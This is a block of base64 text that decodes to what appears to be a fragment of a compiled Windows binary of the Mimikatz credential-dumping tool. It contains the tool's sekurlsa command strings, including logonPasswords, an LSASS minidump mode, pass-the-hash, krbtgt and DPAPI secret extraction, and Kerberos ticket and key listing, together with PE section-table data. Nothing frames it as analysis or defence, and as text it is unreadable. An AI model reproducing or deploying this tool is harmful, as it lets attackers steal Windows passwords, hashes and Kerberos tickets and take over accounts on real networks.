AcgBlAGQAZQBuAHQAaQBhAGwAcwAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdABzAHAAawBnAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAABMAGkAcwB0AHMAIABhAGwAbAAgAGEAdgBhAGkAbABhAGIAbABlACAAcAByAG8AdgBpAGQAZQByAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAbQBpAG4AaQBkAHUAbQBwACAAYwBvAG4AdABlAHgAdAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAAB0AGkAYwBrAGUAdABzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8ASQBOAFQARQBMACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAAbQBpAG0AaQBrAGEAdAB6ACAAeAA4ADYAIABjAGEAbgBuAG8AdAAgAGEAYwBjAGUAcwBzACAAeAA2ADQAIABwAHIAbwBjAGUAcwBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGUAbQBvAHIAeQAgAG8AcABlAG4AaQBuAGcACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAACQAlAHMAIAA6AAkAAAAAAFUAbgBkAGUAZgBpAG4AZQBkAEwAbwBnAG8AbgBUAHkAcABlAAAAAABVAG4AawBuAG8AdwBuACAAIQAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAABTAGUAcgB2AGkAYwBlAAAAUAByAG8AeAB5AAAAVQBuAGwAbwBjAGsAAAAAAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQAVQBuAGwAbwBjAGsAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAABMAG8AZwBvAG4AIABUAGkAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZgBpAG4AZAAgAEsARABDACAAcABhAHQAdABlAHIAbgAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAACUAdQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAKAAAACQAgACoAIAAlAHMAIAA6ACAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAKAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABOAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAbAB1AGkAZAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAQQBFAFMAMgA1ADYACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAbQBvAGQAZQAJADoAIAByAGUAcABsAGEAYwBpAG4AZwAgAE4AVABMAE0ALwBSAEMANAAgAGsAZQB5ACAAaQBuACAAYQAgAHMAZQBzAHMAaQBvAG4ACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAKgAqACAAVABvAGsAZQBuACAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAgACoAKgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABEAHUAcABsAGkAYwBhAHQAZQBUAG8AawBlAG4ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARwBlAHQAVABvAGsAZQBuAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAACAAIAB8ACAAIABMAFUASQBEACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAAAAAAAgACAAXABfACAAbQBzAHYAMQBfADAAIAAgACAALQAgAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUwBIAEEAMQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAqACAAUwBtAGEAcgB0AGMAYQByAGQAAAAAAAoACQAgACAAIAAgACAAUABJAE4AIABjAG8AZABlACAAOgAgACUAdwBaAAAACgAJACAAIAAgACAAIABDAGEAcgBkACAAIAAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAUgBlAGEAZABlAHIAIAAgACAAOgAgACUAcwAKAAkAIAAgACAAIAAgAEMAbwBuAHQAYQBpAG4AZQByADoAIAAlAHMACgAJACAAIAAgACAAIABQAHIAbwB2AGkAZABlAHIAIAA6ACAAJQBzAAAAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAoACQAgACoAIABQAGEAcwBzAHcAbwByAGQAIAA6ACAAAAAAAEwAVQBJAEQAIABLAE8ACgAAAAAACgAJACAAKgAgAFIAbwBvAHQASwBlAHkAIAAgADoAIAAAAAAACgAJACAAKgAgACUAMAA4AHgAIAA6ACAAAAAAAAoACQAgACAAIAAqACAATABTAEEAIABJAHMAbwBsAGEAdABlAGQAIABEAGEAdABhADoAIAAlAC4AKgBTAAAAAAAKAAkAIAAgACAAIAAgAFUAbgBrAC0ASwBlAHkAIAAgADoAIAAAAAAACgAJACAAIAAgACAAIABFAG4AYwByAHkAcAB0AGUAZAA6ACAAAAAAAAoACQAJACAAIAAgAFMAUwA6ACUAdQAsACAAVABTADoAJQB1ACwAIABEAFMAOgAlAHUAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAALAAgADUAOgAwAHgAJQB4AAAAAAAKAAkAIAAgACAAKgAgAHUAbgBrAEQAYQB0AGEAMQAgADoAIAAAAAAACgAJACAAIAAgACAAIAB1AG4AawBEAGEAdABhADIAIAA6ACAAAAAAAAoACQAgAFsAJQAwADgAeABdAAAAZABwAGEAcABpAHMAcgB2AC4AZABsAGwAAAAAAAkAIABbACUAMAA4AHgAXQAKAAkAIAAqACAARwBVAEkARAAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAAVABpAG0AZQAgACAAIAAgACAAIAA6AAkAAAAKAAkAIAAqACAATQBhAHMAdABlAHIASwBlAHkAIAA6AAkAAAAKAAkAIAAqACAAcwBoAGEAMQAoAGsAZQB5ACkAIAA6AAkAAAAKAAkASwBPAAAAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAG4AdQBsAGwAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawBlAHIAYgBlAHIAbwBzAF8AZQBuAHUAbQBfAHQAaQBjAGsAZQB0AHMAIAA7ACAAawB1AGwAbABfAG0AXwBmAGk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AAAD/////aJYAEHaWABAAAAAA/////waXABAUlwAQAAAAAP/////dlwAQ65cAEAAAAAD/////OpkAEJGZABAAAAAA/////1ycABCznAAQAAAAAP/////VnQAQLJ4AEAAAAAD/////QJ8AEJefABAAAAAA/////+CSBBA3kwQQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAACIxBRAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAnTEFEAAAAAD+////AAAAANT///8AAAAA/v///3IyBRCRMgUQAAAAAP7///8AAAAA2P///wAAAAD+////iDUFEJs1BRAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAiVEFEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACZhAUQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAEKEBRAAAAAAAAAAABWEBRD+////AAAAAND///8AAAAA/v///wAAAACQhQUQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAGeHBRAAAAAA5P///wAAAADU////AAAAAP7///8AAAAAyx0GEAAAAACzHQYQwx0GEP7///8AAAAA1P///wAAAAD+////AAAAAP8kBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAUCUGEAAAAADk////AAAAANT///8AAAAA/v///ygqBhAsKgYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAGQ3BhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAcDYGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADRNgYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAABw3BhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAYEgGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAfSgYQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAClSBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAmVMGEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACLWgYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAADldBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA3l4GEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAAPYwYQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAACNhBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAiYcGEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAA6ggYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAB2QBhAAAAAA5P///wAAAAC0////AAAAAP7///8AAAAAIZMGEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB0kAYQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAOmZBhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAlrgGEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACIuwYQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAIPQBhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAiOYGEAAAAAD+////AAAAANj///8AAAAA/v///4kDBxCcAwcQAAAAAP7///8AAAAAqP///wAAAAD+////2zAHEO4wBxAAAAAAAAAAAC0D